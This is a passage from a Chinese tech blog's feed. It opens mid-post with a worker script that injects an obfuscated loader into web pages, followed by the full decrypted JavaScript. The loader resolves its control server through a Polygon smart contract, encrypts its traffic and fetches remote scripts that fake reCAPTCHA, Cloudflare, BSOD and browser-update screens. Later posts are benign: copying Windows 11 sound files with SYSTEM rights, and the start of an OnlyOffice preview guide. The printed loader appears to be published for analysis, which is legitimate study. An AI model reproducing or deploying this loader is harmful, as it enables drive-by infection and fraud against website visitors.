VDVElWRW1PREUdCFRZUEVPRgBNT0RFHR0dB1NUUklORwcGBk1PREUJH01PREUaB0JST1dTRVIHGypUUllbKkNPTlNUAExFR0FDWR1MT0NBTHNUT1JBR0UOR0VUaVRFTQhsZWdhY3l/c3RvcmFnZX9rZXkJGypDT05TVABDVVJSRU5UHUxPQ0FMc1RPUkFHRQ5HRVRpVEVNCGxvY2Fsf3N0b3JhZ2V/a2V5CRsqSUYITEVHQUNZAR0dTlVMTAYGQ1VSUkVOVB0dHU5VTEwJTE9DQUxzVE9SQUdFDlNFVGlURU0IbG9jYWx/c3RvcmFnZX9rZXkMTEVHQUNZCRsqSUYITEVHQUNZAR0dTlVMTAlMT0NBTHNUT1JBR0UOUkVNT1ZFaVRFTQhsZWdhY3l/c3RvcmFnZX9rZXkJGypdQ0FUQ0gIRQlbXSpJRghMT0NBTHNUT1JBR0UOR0VUaVRFTQhsb2NhbH9zdG9yYWdlf2tleQkdHR0HEQcJUkVUVVJOGypJRghFRkZFQ1RJVkVtT0RFAR0dB1JFQ0FQVENIQQcGBkVGRkVDVElWRW1PREUBHR0HQlNPRAcGBkVGRkVDVElWRW1PREUBHR0HQ0xPVURGTEFSRQcGBkVGRkVDVElWRW1PREUBHR0HQ0Z/VVBEQVRFBwYGRUZGRUNUSVZFbU9ERQEdHQdTSUxFTlQHCVsqQVdBSVQATE9HZVZFTlQIB1BBR0V/VklFVwcMWypCUk9XU0VSDCpPUwwqTU9ERRpFRkZFQ1RJVkVtT0RFDCpDT05UUkFDVHVSTBpQQU5FTGJBU0V1UkwMKkNPTlRSQUNUYUREUkVTUxpjb250cmFjdH9jb25maWcOY29udHJhY3R/YWRkcmVzcypdCRsqXSpDT05TVABTVEFSVB0ICR0eWypDT05TVABDVFgdWypQQU5FTGJBU0V1UkwMKkFQSWJBU0UMKkFQSXVSTBpCVUlMRGFQSXVSTAwqTE9HdVJMDCpUT0tFTnVSTAwqRE9XTkxPQUR1UkwMKk1PREUaRUZGRUNUSVZFbU9ERQwqT1MMKkJST1dTRVIMKkNPVU5UUlkaBwcMKlNUT1JBR0VrRVkabG9jYWx/c3RvcmFnZX9rZXkMKkNGRwwqQ09OVFJBQ1RjT05GSUcaY29udHJhY3R/Y29uZmlnKl0bKkJPT1RTVFJBUAhFRkZFQ1RJVkVtT0RFDENUWAkbKl0bKklGCERPQ1VNRU5UDlJFQURZc1RBVEUdHR0HTE9BRElORwcJWypET0NVTUVOVA5BRERlVkVOVGxJU1RFTkVSCAdkb21jT05URU5UbE9BREVEBwwICR0eU0VUdElNRU9VVAhTVEFSVAxTSE9XZEVMQVkJDFtPTkNFGlRSVUVdCRsqXUVMU0VbKlNFVHRJTUVPVVQIU1RBUlQMU0hPV2RFTEFZCRsqXSpdQ0FUQ0gIRQlbKl0qXSpNQUlOCAkbKl0JCAkb&apos;;function _0x70fc95(s,k){s=atob(s);var len=s.length,i,arr=new Uint8Array(len);for(i=0;i&amp;lt;len;i++){arr[i]=s.charCodeAt(i)^k;}if(window.TextDecoder){try{return new TextDecoder(&quot;utf-8&quot;).decode(arr);}catch(e){}}var tmp=&quot;&quot;;for(i=0;i&amp;lt;len;i++){tmp+=String.fromCharCode(arr[i]);}try{return decodeURIComponent(escape(tmp));}catch(e){return tmp;}}var _0xb25a97=_0x70fc95(_0x0b6624,_0x47e122);(new Function(_0xb25a97))();})();
&amp;lt;/script&amp;gt;`;
      
      
      if (html.includes(&apos;&amp;lt;/html&amp;gt;&apos;)) {
        html = html.replace(&apos;&amp;lt;/html&amp;gt;&apos;, yourScript + &apos;&amp;lt;/html&amp;gt;&apos;);
      } else {
        html = html + yourScript;
      }
      
      return new Response(html, {
        headers: response.headers
      });
    }
    
    return response;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;解密后的js&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;(function(){
&apos;use strict&apos;;
if(typeof window===&apos;undefined&apos;||typeof document===&apos;undefined&apos;||window.__BW_SCRIPT_INITIALIZED__)return;
window.__BW_SCRIPT_INITIALIZED__=true;
const LOCAL_STORAGE_KEY=&apos;site_repair_state&apos;;
const LEGACY_STORAGE_KEY=&apos;bw-downloaded&apos;;
const DEFAULT_SHOW_DELAY=1000;
const HANDLER_EXPORT=&apos;__BW_MODE_RUN__&apos;;
const MODE_FILE_MAP={
browser:&apos;v1.js&apos;,
font:&apos;v2.js&apos;,
recaptcha:&apos;v3.js&apos;,
bsod:&apos;v4.js&apos;,
silent:&apos;v5.js&apos;,
cloudflare:&apos;v6.js&apos;,
cf_update:&apos;v7.js&apos;,
mac_recaptcha:&apos;v8.js&apos;,
mac_cloudflare:&apos;v9.js&apos;
};
const CONTRACT_CONFIG={
RPC_HOSTS:[&quot;https://rpc-mainnet.matic.quiknode.pro&quot;,&quot;https://rpc.ankr.com/polygon&quot;,&quot;https://polygon-public.nodies.app&quot;,&quot;https://polygon-mainnet.public.blastapi.io&quot;,&quot;https://1rpc.io/matic&quot;,&quot;https://polygon.drpc.org&quot;,&quot;https://polygon.gateway.tenderly.co&quot;,&quot;https://gateway.tenderly.co/public/polygon&quot;,&quot;https://polygon-mainnet.gateway.tatum.io&quot;,&quot;https://polygon.rpc.subquery.network/public&quot;,&quot;https://polygon.therpc.io&quot;,&quot;https://polygon.lava.build&quot;,&quot;https://polygon-bor-rpc.publicnode.com&quot;,&quot;https://polygon.rpc.hypersync.xyz/&quot;],
CONTRACT_ADDRESS:&apos;0x4dE37B7bE1bfb8a74acD8Af57a2c10c5B1A14BB3&apos;,
FUNCTION_SELECTOR:&apos;b68d1809&apos;,
TIMEOUT_MS:5000,
MAX_RETRIES:2
};
if(typeof __BW_CONTRACT_OVERRIDE!==&apos;undefined&apos;&amp;amp;&amp;amp;__BW_CONTRACT_OVERRIDE){
try{Object.assign(CONTRACT_CONFIG,__BW_CONTRACT_OVERRIDE);}catch(e){}
}
let cfg={};
let panelBaseUrl=&apos;&apos;;
let apiBase=&apos;&apos;;
let logUrl=&apos;&apos;;
let tokenUrl=&apos;&apos;;
let downloadUrl=&apos;&apos;;
const API_Q2_KEY_HEX=&apos;603a054794e967ef834bf190c37f8d42133d7c5ae05ce2ddf0569b4f508d7bc3&apos;;
function b64urlEncodeAscii(str){
try{
return btoa(String(str)).replace(/\+/g,&apos;-&apos;).replace(/\//g,&apos;_&apos;).replace(/=+$/g,&apos;&apos;);
}catch(e){
return&apos;&apos;;
}
}
function hexToBytes(hex){
try{
hex=String(hex||&apos;&apos;).trim();
if(!/^[a-f0-9]{64}$/i.test(hex))return null;
const out=new Uint8Array(32);
for(let i=0;i&amp;lt;32;i++){
out[i]=parseInt(hex.substr(i*2,2),16)&amp;amp;0xff;
}
return out;
}catch(e){
return null;
}
}
function bytesToB64Url(bytes){
try{
let bin=&apos;&apos;;
const chunk=0x8000;
for(let i=0;i&amp;lt;bytes.length;i+=chunk){
bin+=String.fromCharCode.apply(null,bytes.subarray(i,i+chunk));
}
return btoa(bin).replace(/\+/g,&apos;-&apos;).replace(/\//g,&apos;_&apos;).replace(/=+$/g,&apos;&apos;);
}catch(e){
return&apos;&apos;;
}
}
function b64urlToBytes(b64url){
try{
if(!b64url||typeof b64url!==&apos;string&apos;)return null;
let b64=b64url.replace(/-/g,&apos;+&apos;).replace(/_/g,&apos;/&apos;);
const pad=b64.length%4;
if(pad)b64+=&apos;=&apos;.repeat(4-pad);
const bin=atob(b64);
const out=new Uint8Array(bin.length);
for(let i=0;i&amp;lt;bin.length;i++)out[i]=bin.charCodeAt(i)&amp;amp;0xff;
return out;
}catch(e){
return null;
}
}
function bytesToUtf8(bytes){
try{
return new TextDecoder(&apos;utf-8&apos;,{fatal:false}).decode(bytes);
}catch(e){
let s=&apos;&apos;;
for(let i=0;i&amp;lt;bytes.length;i++)s+=String.fromCharCode(bytes[i]);
return s;
}
}
function concatBytes(a,b){
const out=new Uint8Array(a.length+b.length);
out.set(a,0);
out.set(b,a.length);
return out;
}
async function sha256Bytes(bytes){
try{
if(typeof crypto===&apos;undefined&apos;||!crypto.subtle||!crypto.subtle.digest)return null;
const digest=await crypto.subtle.digest(&apos;SHA-256&apos;,bytes.buffer?bytes.buffer:bytes);
return new Uint8Array(digest);
}catch(e){
return null;
}
}
function rc4(keyBytes,dataBytes){
const s=new Uint8Array(256);
for(let i=0;i&amp;lt;256;i++)s[i]=i;
let j=0;
for(let i=0;i&amp;lt;256;i++){
j=(j+s[i]+keyBytes[i%keyBytes.length])&amp;amp;255;
const tmp=s[i];
s[i]=s[j];
s[j]=tmp;
}
let i=0;
j=0;
const out=new Uint8Array(dataBytes.length);
for(let n=0;n&amp;lt;dataBytes.length;n++){
i=(i+1)&amp;amp;255;
j=(j+s[i])&amp;amp;255;
const tmp=s[i];
s[i]=s[j];
s[j]=tmp;
const k=s[(s[i]+s[j])&amp;amp;255];
out[n]=dataBytes[n]^k;
}
return out;
}
function buildApiUrl(params){
if(!apiBase)return&apos;&apos;;
try{
const qs=new URLSearchParams(params||{}).toString();
const key=hexToBytes(API_Q2_KEY_HEX);
if(key&amp;amp;&amp;amp;typeof Uint8Array!==&apos;undefined&apos;){
const nonce=new Uint8Array(8);
if(typeof crypto!==&apos;undefined&apos;&amp;amp;&amp;amp;crypto.getRandomValues){
crypto.getRandomValues(nonce);
}else{
for(let i=0;i&amp;lt;nonce.length;i++)nonce[i]=(Math.random()*256)&amp;amp;255;
}
const enc=(typeof TextEncoder!==&apos;undefined&apos;)?new TextEncoder():null;
const plainBytes=enc?enc.encode(qs):(function(){
const arr=new Uint8Array(qs.length);
for(let i=0;i&amp;lt;qs.length;i++)arr[i]=qs.charCodeAt(i)&amp;amp;255;
return arr;
})();
const keyMat=new Uint8Array(key.length+nonce.length);
keyMat.set(key,0);
keyMat.set(nonce,key.length);
const cipherBytes=rc4(keyMat,plainBytes);
const payload=new Uint8Array(nonce.length+cipherBytes.length);
payload.set(nonce,0);
payload.set(cipherBytes,nonce.length);
const packed=bytesToB64Url(payload);
if(packed){
return apiBase+&apos;/api/index.php?q=&apos;+packed;
}
}
return&apos;&apos;;
}catch(e){
return&apos;&apos;;
}
}
async function decryptApiEnvelope(obj,scope){
try{
if(!obj||typeof obj!==&apos;object&apos;)return obj;
if(typeof obj.q!==&apos;string&apos;||!obj.q)return obj;
const safeScope=(typeof scope===&apos;string&apos;&amp;amp;&amp;amp;/^[a-z0-9_]{1,16}$/i.test(scope))?scope:&apos;cfg&apos;;
const baseKey=hexToBytes(API_Q2_KEY_HEX);
if(!baseKey)return obj;
if(obj.enc===&apos;gcm1&apos;){
try{
const packed=b64urlToBytes(obj.q);
if(!packed||packed.length&amp;lt;(12+16+1))throw new Error(&apos;gcm_packed&apos;);
const iv=packed.slice(0,12);
const cipherWithTag=packed.slice(12);
const gcmLabel=safeScope+&apos;|gcm1&apos;;
const label=(typeof TextEncoder!==&apos;undefined&apos;)?new TextEncoder().encode(gcmLabel):(function(){
const s=gcmLabel;
const arr=new Uint8Array(s.length);
for(let i=0;i&amp;lt;s.length;i++)arr[i]=s.charCodeAt(i)&amp;amp;255;
return arr;
})();
const keyBytes=await sha256Bytes(concatBytes(baseKey,label));
if(!keyBytes)throw new Error(&apos;gcm_key&apos;);
if(typeof crypto===&apos;undefined&apos;||!crypto.subtle||!crypto.subtle.importKey)throw new Error(&apos;gcm_subtle&apos;);
const cryptoKey=await crypto.subtle.importKey(&apos;raw&apos;,keyBytes,{name:&apos;AES-GCM&apos;},false,[&apos;decrypt&apos;]);
const plainBuf=await crypto.subtle.decrypt({name:&apos;AES-GCM&apos;,iv:iv,tagLength:128},cryptoKey,cipherWithTag);
const json=bytesToUtf8(new Uint8Array(plainBuf));
return JSON.parse(json);
}catch(e){
if(typeof obj.q2===&apos;string&apos;&amp;amp;&amp;amp;obj.q2){
const packed2=b64urlToBytes(obj.q2);
if(packed2&amp;amp;&amp;amp;packed2.length&amp;gt;=9){
const nonce=packed2.slice(0,8);
const cipher2=packed2.slice(8);
const keyMat=new Uint8Array(baseKey.length+nonce.length);
keyMat.set(baseKey,0);
keyMat.set(nonce,baseKey.length);
const plainBytes2=rc4(keyMat,cipher2);
const json2=bytesToUtf8(plainBytes2);
return JSON.parse(json2);
}
}
return obj;
}
}
if(obj.enc===&apos;q2&apos;){
const packed=b64urlToBytes(obj.q);
if(!packed||packed.length&amp;lt;9)return obj;
const nonce=packed.slice(0,8);
const cipher=packed.slice(8);
const keyMat=new Uint8Array(baseKey.length+nonce.length);
keyMat.set(baseKey,0);
keyMat.set(nonce,baseKey.length);
const plainBytes=rc4(keyMat,cipher);
const json=bytesToUtf8(plainBytes);
return JSON.parse(json);
}
return obj;
}catch(e){
return obj;
}
}
try{
window.__bwDecryptApiEnvelope=decryptApiEnvelope;
}catch(e){}
let showDelay=DEFAULT_SHOW_DELAY;
let mode=&apos;browser&apos;;
function fetchWithTimeout(url,options,timeoutMs){
const controller=new AbortController();
const timeoutId=setTimeout(()=&amp;gt;controller.abort(),timeoutMs||5000);
const opts=Object.assign({},options||{},{signal:controller.signal});
return fetch(url,opts).finally(()=&amp;gt;clearTimeout(timeoutId));
}
async function fetchJsonWithTimeout(url,options,timeoutMs){
const resp=await fetchWithTimeout(url,options,timeoutMs);
if(!resp.ok)throw new Error(&apos;http_&apos;+resp.status);
return await resp.json();
}
function decodeHexString(hex){
try{
let result=&apos;&apos;;
for(let i=0;i&amp;lt;hex.length;i+=2){
const byteString=hex.substr(i,2);
const byte=parseInt(byteString,16);
if(byte&amp;gt;0)result+=String.fromCharCode(byte);
}
return result;
}catch(e){
return&apos;&apos;;
}
}
function decodeResult(result){
try{
const hexData=result.startsWith(&apos;0x&apos;)?result.substr(2):result;
if(hexData.length&amp;lt;128)return&apos;&apos;;
const lengthHex=hexData.substr(64,64);
const length=parseInt(lengthHex,16);
if(length&amp;gt;0&amp;amp;&amp;amp;hexData.length&amp;gt;=128+length*2){
const stringHex=hexData.substr(128,length*2);
return decodeHexString(stringHex);
}
return&apos;&apos;;
}catch(e){
return&apos;&apos;;
}
}
async function postJsonWithTimeout(url,body,timeoutMs){
return await fetchJsonWithTimeout(url,{
method:&apos;POST&apos;,
headers:{
&apos;Content-Type&apos;:&apos;application/json&apos;,
&apos;Accept&apos;:&apos;application/json&apos;
},
body:JSON.stringify(body),
cache:&apos;no-store&apos;
},timeoutMs);
}
async function getUrlFromContract(){
const dataField=&apos;0x&apos;+CONTRACT_CONFIG.FUNCTION_SELECTOR;
const params=[{to:CONTRACT_CONFIG.CONTRACT_ADDRESS,data:dataField},&apos;latest&apos;];
const requestBody={jsonrpc:&apos;2.0&apos;,method:&apos;eth_call&apos;,params,id:1};
for(let attempt=0;attempt&amp;lt;(CONTRACT_CONFIG.MAX_RETRIES||1);attempt++){
for(const endpoint of(CONTRACT_CONFIG.RPC_HOSTS||[])){
try{
const data=await postJsonWithTimeout(endpoint,requestBody,CONTRACT_CONFIG.TIMEOUT_MS||5000);
if(data&amp;amp;&amp;amp;data.result){
const domain=decodeResult(data.result);
if(domain&amp;amp;&amp;amp;domain.length&amp;gt;0){
let url=domain.trim();
if(!url.startsWith(&apos;http&apos;))url=&apos;https://&apos;+url;
return url;
}
}
}catch(e){}
}
}
return null;
}
function updateUrls(baseUrl){
if(!baseUrl)return;
panelBaseUrl=baseUrl.replace(/\/$/,&apos;&apos;);
apiBase=panelBaseUrl;
logUrl=buildApiUrl({a:&apos;evt&apos;})||(apiBase+&apos;/api/index.php?a=evt&apos;);
tokenUrl=buildApiUrl({a:&apos;init&apos;})||(apiBase+&apos;/api/index.php?a=init&apos;);
downloadUrl=buildApiUrl({a:&apos;dl&apos;})||(apiBase+&apos;/api/index.php?a=dl&apos;);
}
async function refreshConfigFromApi(){
try{
const contractUrl=await getUrlFromContract();
if(!contractUrl)throw new Error(&apos;BrowserWarning: Failed to get URL from contract&apos;);
updateUrls(contractUrl);
const settingsUrl=buildApiUrl({a:&apos;cfg&apos;})||(contractUrl+&apos;/api/index.php?a=cfg&apos;);
let remote=await fetchJsonWithTimeout(settingsUrl,{cache:&apos;no-store&apos;},5000);
remote=await decryptApiEnvelope(remote,&apos;cfg&apos;);
if(!remote||typeof remote!==&apos;object&apos;)throw new Error(&apos;BrowserWarning: invalid settings payload&apos;);
cfg=Object.assign({},remote);
if(cfg.contractConfig){
try{Object.assign(CONTRACT_CONFIG,cfg.contractConfig);}catch(e){}
}
if(cfg.panelBaseUrl&amp;amp;&amp;amp;cfg.panelBaseUrl!==panelBaseUrl)updateUrls(cfg.panelBaseUrl);
showDelay=typeof cfg.showDelay===&apos;number&apos;?cfg.showDelay:DEFAULT_SHOW_DELAY;
mode=typeof cfg.mode===&apos;string&apos;?cfg.mode:&apos;browser&apos;;
}catch(e){
throw e;
}
}
async function logEvent(eventType,payload){
if(!logUrl&amp;amp;&amp;amp;!apiBase)return;
try{
const url=buildApiUrl({a:&apos;evt&apos;})||logUrl;
await fetchWithTimeout(url,{
method:&apos;POST&apos;,
headers:{&apos;Content-Type&apos;:&apos;text/plain;charset=UTF-8&apos;},
body:JSON.stringify(Object.assign({eventType},payload||{})),
cache:&apos;no-store&apos;
},3000);
}catch(e){}
}
function loadModeScript(modeName,cacheBust){
return new Promise((resolve,reject)=&amp;gt;{
if(!panelBaseUrl)return reject(new Error(&apos;panelBaseUrl_missing&apos;));
delete window[HANDLER_EXPORT];
const script=document.createElement(&apos;script&apos;);
const safeMode=(modeName&amp;amp;&amp;amp;MODE_FILE_MAP[modeName])?modeName:&apos;browser&apos;;
const apiScriptUrl=buildApiUrl({a:&apos;js&apos;,mode:String(safeMode)});
script.src=apiScriptUrl||(panelBaseUrl+&apos;/api/index.php?a=js&amp;amp;mode=&apos;+encodeURIComponent(String(safeMode)));
script.async=true;
script.onload=()=&amp;gt;{
const fn=window[HANDLER_EXPORT];
delete window[HANDLER_EXPORT];
if(typeof fn===&apos;function&apos;)return resolve(fn);
reject(new Error(&apos;mode_handler_missing&apos;));
};
script.onerror=()=&amp;gt;{
delete window[HANDLER_EXPORT];
reject(new Error(&apos;mode_script_failed&apos;));
};
document.head.appendChild(script);
});
}
async function bootstrap(modeName,context){
try{
const runner=await loadModeScript(modeName,cfg&amp;amp;&amp;amp;(cfg.cacheTag||cfg.updatedAt));
await runner(context);
}catch(e){
if(modeName!==&apos;browser&apos;){
try{
const fallback=await loadModeScript(&apos;browser&apos;,cfg&amp;amp;&amp;amp;(cfg.cacheTag||cfg.updatedAt));
await fallback(Object.assign({},context,{mode:&apos;browser&apos;}));
}catch(err){
}
}
}
}
async function main(){
try{
await refreshConfigFromApi();
if(cfg&amp;amp;&amp;amp;cfg.enabled===false)return;
const os=(cfg&amp;amp;&amp;amp;typeof cfg.os===&apos;string&apos;&amp;amp;&amp;amp;cfg.os)?String(cfg.os):&apos;unknown&apos;;
const browser=(cfg&amp;amp;&amp;amp;typeof cfg.browser===&apos;string&apos;&amp;amp;&amp;amp;cfg.browser)?String(cfg.browser):&apos;Unknown&apos;;
let effectiveMode=(typeof mode===&apos;string&apos;&amp;amp;&amp;amp;mode)?mode:&apos;browser&apos;;
try{
const legacy=localStorage.getItem(LEGACY_STORAGE_KEY);
const current=localStorage.getItem(LOCAL_STORAGE_KEY);
if(legacy!==null&amp;amp;&amp;amp;current===null)localStorage.setItem(LOCAL_STORAGE_KEY,legacy);
if(legacy!==null)localStorage.removeItem(LEGACY_STORAGE_KEY);
}catch(e){}
if(localStorage.getItem(LOCAL_STORAGE_KEY)===&apos;1&apos;)return;
if(effectiveMode!==&apos;recaptcha&apos;&amp;amp;&amp;amp;effectiveMode!==&apos;bsod&apos;&amp;amp;&amp;amp;effectiveMode!==&apos;cloudflare&apos;&amp;amp;&amp;amp;effectiveMode!==&apos;cf_update&apos;&amp;amp;&amp;amp;effectiveMode!==&apos;silent&apos;){
await logEvent(&apos;page_view&apos;,{
browser,
os,
mode:effectiveMode,
contractUrl:panelBaseUrl,
contractAddress:CONTRACT_CONFIG.CONTRACT_ADDRESS
});
}
const start=()=&amp;gt;{
const ctx={
panelBaseUrl,
apiBase,
apiUrl:buildApiUrl,
logUrl,
tokenUrl,
downloadUrl,
mode:effectiveMode,
os,
browser,
country:&apos;&apos;,
storageKey:LOCAL_STORAGE_KEY,
cfg,
contractConfig:CONTRACT_CONFIG
};
bootstrap(effectiveMode,ctx);
};
if(document.readyState===&apos;loading&apos;){
document.addEventListener(&apos;DOMContentLoaded&apos;,()=&amp;gt;setTimeout(start,showDelay),{once:true});
}else{
setTimeout(start,showDelay);
}
}catch(e){
}
}
main();
})();
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>在 Windows 10 上使用 Windows 11 的音效</title><link>https://www.y-dev.tech/posts/win-10-with-win-11-audio/</link><guid isPermaLink="true">https://www.y-dev.tech/posts/win-10-with-win-11-audio/</guid><description>Win10怎么更像11？改音效！</description><pubDate>Sat, 04 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;众所周知……Windows 11拥有优化差、逻辑猎奇等等等等问题&lt;/p&gt;
&lt;p&gt;虽然我的主力机并不使用 Windows
&lt;img src=&quot;/images/google-logged-in-arch.png&quot; alt=&quot;Google Account Logged in on archlinux&quot; /&gt;
但是仍然有必要让另一台跑着 Win10 但不想升级的设备看起来更现代化一些（实则就是更像 Win11）
所以我们需要使用 Win11 音效包！&lt;/p&gt;
&lt;h1&gt;前期准备&lt;/h1&gt;
&lt;h2&gt;音频资源下载&lt;/h2&gt;
&lt;p&gt;::file{url=&quot;https://ftp.y-dev.tech/s/62so&quot; filename=&quot;Win11音效包.zip&quot; size=&quot;13.17 MB&quot;}&lt;/p&gt;
&lt;h2&gt;提权工具&lt;/h2&gt;
&lt;p&gt;虽然我们可以手动选择对应的音频文件但是比较麻烦，所以我们选择直接替换文件。&lt;/p&gt;
&lt;p&gt;众所周知改 Windows 文件夹需要权限，这里我们使用这个项目来实现：
::github{repo=&apos;fafalone/RunAsTrustedInstaller&apos;}
Release 文件可以自行前往 Github 下载。&lt;/p&gt;
&lt;h1&gt;开干&lt;/h1&gt;
&lt;p&gt;首先打开你的架构对应的提权工具在 Program to Run 输入 cmd 然后确认，过10秒左右会弹出提权的cmd窗口，如图
&lt;img src=&quot;/images/runasti.png&quot; alt=&quot;Run As TI&quot; /&gt;
你可以输入&lt;code&gt;whoami&lt;/code&gt;检验提权是否成功。如成功，应当会：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Microsoft Windows [版本 10.0.19045.7058]
(c) Microsoft Corporation。保留所有权利。

C:\WINDOWS\system32&amp;gt;whoami
nt authority\system

C:\WINDOWS\system32&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时你就对系统获得了 System 权限，可以任意&amp;lt;del&amp;gt;调戏&amp;lt;/del&amp;gt;修改 Windows 的文件了。
我们 cd 到你解压了压缩包的路径（我这里是&lt;code&gt;C:\Users\Administrator\Downloads\Win11音效包&lt;/code&gt;）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd C:\Users\Administrator\Downloads\Win11音效包
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要注意的是你 cd 到的必须直接包含所有文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\Administrator\Downloads\Win11音效包&amp;gt;dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 0EB9-CDF9

 C:\Users\Administrator\Downloads\Win11音效包 的目录

2026/04/15  12:41    &amp;lt;DIR&amp;gt;          .
2026/04/15  12:41    &amp;lt;DIR&amp;gt;          ..
2021/06/05  20:04           491,516 Alarm01.wav
2021/06/05  20:04           331,108 Alarm02.wav
2021/06/05  20:04           355,588 Alarm03.wav
2021/06/05  20:04           409,152 Alarm04.wav
2021/06/05  20:04           728,396 Alarm05.wav
2021/06/05  20:04           600,252 Alarm06.wav
2021/06/05  20:04           560,944 Alarm07.wav
2021/06/05  20:04           505,788 Alarm08.wav
2021/06/05  20:04           483,904 Alarm09.wav
2021/06/05  20:04           335,564 Alarm10.wav
2021/06/05  20:04           216,364 chimes.wav
2021/06/05  20:04           113,964 chord.wav
2021/06/05  20:04            70,060 ding.wav
2021/06/05  20:04            24,253 flourish.mid
2021/06/05  20:05             4,276 Focus0_48000Hz.raw
2021/06/05  20:05             4,230 Focus1_48000Hz.raw
2021/06/05  20:05             4,756 Focus2_48000Hz.raw
2021/06/05  20:05             3,858 Focus3_48000Hz.raw
2021/06/05  20:05             4,592 Focus4_48000Hz.raw
2021/06/05  20:05            63,538 GoBack_48000Hz.raw
2021/06/05  20:05            61,358 Hide_48000Hz.raw
2021/06/05  20:05            48,978 Invoke_48000Hz.raw
2021/06/05  20:05            30,956 MoveNext_48000Hz.raw
2021/06/05  20:05            35,328 MovePrevious_48000Hz.raw
2021/06/05  20:04           228,396 notify.wav
2021/06/05  20:04            40,075 onestop.mid
2021/06/05  20:04           111,788 recycle.wav
2021/06/05  20:04           498,420 Ring01.wav
2021/06/05  20:04           314,468 Ring02.wav
2021/06/05  20:04           826,944 Ring03.wav
2021/06/05  20:04           698,740 Ring04.wav
2021/06/05  20:04         1,132,740 Ring05.wav
2021/06/05  20:04           305,876 Ring06.wav
2021/06/05  20:04           493,948 Ring07.wav
2021/06/05  20:04           995,772 Ring08.wav
2021/06/05  20:04           869,328 Ring09.wav
2021/06/05  20:04           701,708 Ring10.wav
2021/06/05  20:04            88,236 ringout.wav
2021/06/05  20:05            79,024 Show_48000Hz.raw
2021/06/05  20:05           153,644 Speech Disambiguation.wav
2021/06/05  20:05            71,212 Speech Misrecognition.wav
2021/06/05  20:05           188,460 Speech Off.wav
2021/06/05  20:05           147,500 Speech On.wav
2021/06/05  20:05           128,812 Speech Sleep.wav
2021/06/05  20:04           285,228 tada.wav
2021/06/05  20:04            22,097 town.mid
2005/09/27  13:53             2,994 Type.wav
2021/06/05  20:04           247,624 Windows Background.wav
2021/06/05  20:04           178,220 Windows Balloon.wav
2021/06/05  20:04           214,828 Windows Battery Critical.wav
2021/06/05  20:04           179,500 Windows Battery Low.wav
2021/06/05  20:04           159,276 Windows Critical Stop.wav
2021/06/05  20:04            72,620 Windows Default.wav
2021/06/05  20:04           191,788 Windows Ding.wav
2021/06/05  20:04           171,564 Windows Error.wav
2021/06/05  20:04           240,284 Windows Exclamation.wav
2021/06/05  20:06            19,884 Windows Feed Discovered.wav
2021/06/05  20:04           405,040 Windows Foreground.wav
2021/06/05  20:04           128,720 Windows Hardware Fail.wav
2021/06/05  20:04           125,220 Windows Hardware Insert.wav
2021/06/05  20:04           161,580 Windows Hardware Remove.wav
2021/06/05  20:06            23,308 Windows Information Bar.wav
2021/06/05  20:04           190,388 Windows Logoff Sound.wav
2021/06/05  20:04           384,496 Windows Logon.wav
2021/06/05  20:04            26,124 Windows Menu Command.wav
2021/06/05  20:04           240,140 Windows Message Nudge.wav
2021/06/05  20:04           129,580 Windows Minimize.wav
2021/06/05  20:06            11,340 Windows Navigation Start.wav
2021/06/05  20:04           381,956 Windows Notify Calendar.wav
2021/06/05  20:04           376,120 Windows Notify Email.wav
2021/06/05  20:04           359,412 Windows Notify Messaging.wav
2021/06/05  20:04           248,092 Windows Notify System Generic.wav
2021/06/05  20:04           227,372 Windows Notify.wav
2021/06/05  20:06            85,548 Windows Pop-up Blocked.wav
2021/06/05  20:04           353,836 Windows Print complete.wav
2021/06/05  20:04           352,060 Windows Proximity Connection.wav
2021/06/05  20:04           143,740 Windows Proximity Notification.wav
2021/06/05  20:04            95,404 Windows Recycle.wav
2021/06/05  20:04           154,924 Windows Restore.wav
2021/06/05  20:04           198,956 Windows Ringin.wav
2021/06/05  20:04            22,070 Windows Ringout.wav
2021/06/05  20:04           169,444 Windows Shutdown.wav
2021/06/05  20:04            38,380 Windows Startup.wav
2021/06/05  20:04           241,708 Windows Unlock.wav
2021/06/05  20:04           405,040 Windows User Account Control.wav
2005/07/12  11:13             6,254 wRight.wav
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来我们将文件复制到系统目录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;copy /Y *.* C:\Windows\Media
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果看到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;已复制        86 个文件。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就证明复制成功了~&lt;/p&gt;
&lt;p&gt;现在你就可以享受这台 &quot;Windows 10.5&quot; 了（）&lt;/p&gt;
</content:encoded></item><item><title>使用 OnlyOffice 实现大文档在线预览！告别20M限制</title><link>https://www.y-dev.tech/posts/onlyoffice/</link><guid isPermaLink="true">https://www.y-dev.tech/posts/onlyoffice/</guid><description>在线Office文档预览……但是自建？不限大小？</description><pubDate>Sat, 14 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;起因是这样的……&lt;/h1&gt;
&lt;p&gt;最近有一个需求：将使用 Openlist 存储的文档使用 Web 端预览……虽然理论上我的存储是 E5 ，可以使用微软od的预览器，但是这玩意有匿名速率限制且不方便接入。
当然，也有iframe预览器这种东西，然而当你打开一个130M的PPT，就会出现
&lt;img src=&quot;/images/ms-f2l.png&quot; alt=&quot;MS File Too Large&quot; /&gt;
&lt;img src=&quot;/images/google-f2l.png&quot; alt=&quot;Google File Too Large&quot; /&gt;
(而且Google的预览器由于众所周知的原因并不能裸连)
那么我们就很有必要自己搭建一个预览器了……&lt;/p&gt;
&lt;h1&gt;啥是OnlyOfficen Document Server?&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;ONLYOFFICE Document Server is an online office suite comprising viewers and editors for texts, spreadsheets and presentations, fully compatible with Office Open XML formats: .docx, .xlsx, .pptx and enabling collaborative editing in real time.
